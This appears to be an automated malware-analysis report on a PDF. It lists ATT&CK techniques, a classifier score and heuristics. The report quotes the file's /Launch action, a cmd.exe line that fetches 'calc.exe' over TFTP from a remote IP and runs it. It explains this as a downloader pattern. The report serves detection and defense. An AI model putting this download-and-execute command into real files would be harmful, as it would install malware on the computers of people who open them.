MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File
T1059.003 Windows Command Shell
T1105 Ingress Tool Transfer
The PDF contains a launch action that executes 'cmd.exe'. The command line argument provided is 'tftp -i 172.16.122.138 GET /tmp/titan/calc.exe&&calc.exe', which attempts to download a file named 'calc.exe' from the IP address 172.16.122.138 via TFTP and then execute it. This indicates a downloader pattern aiming to retrieve and run a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 0.9996
Heuristics 2
-
Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
-
/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target — references a known-dangerous executable (cmd, PowerShell, etc.).
Open this report in the interactive analyzer, or submit your own file for analysis.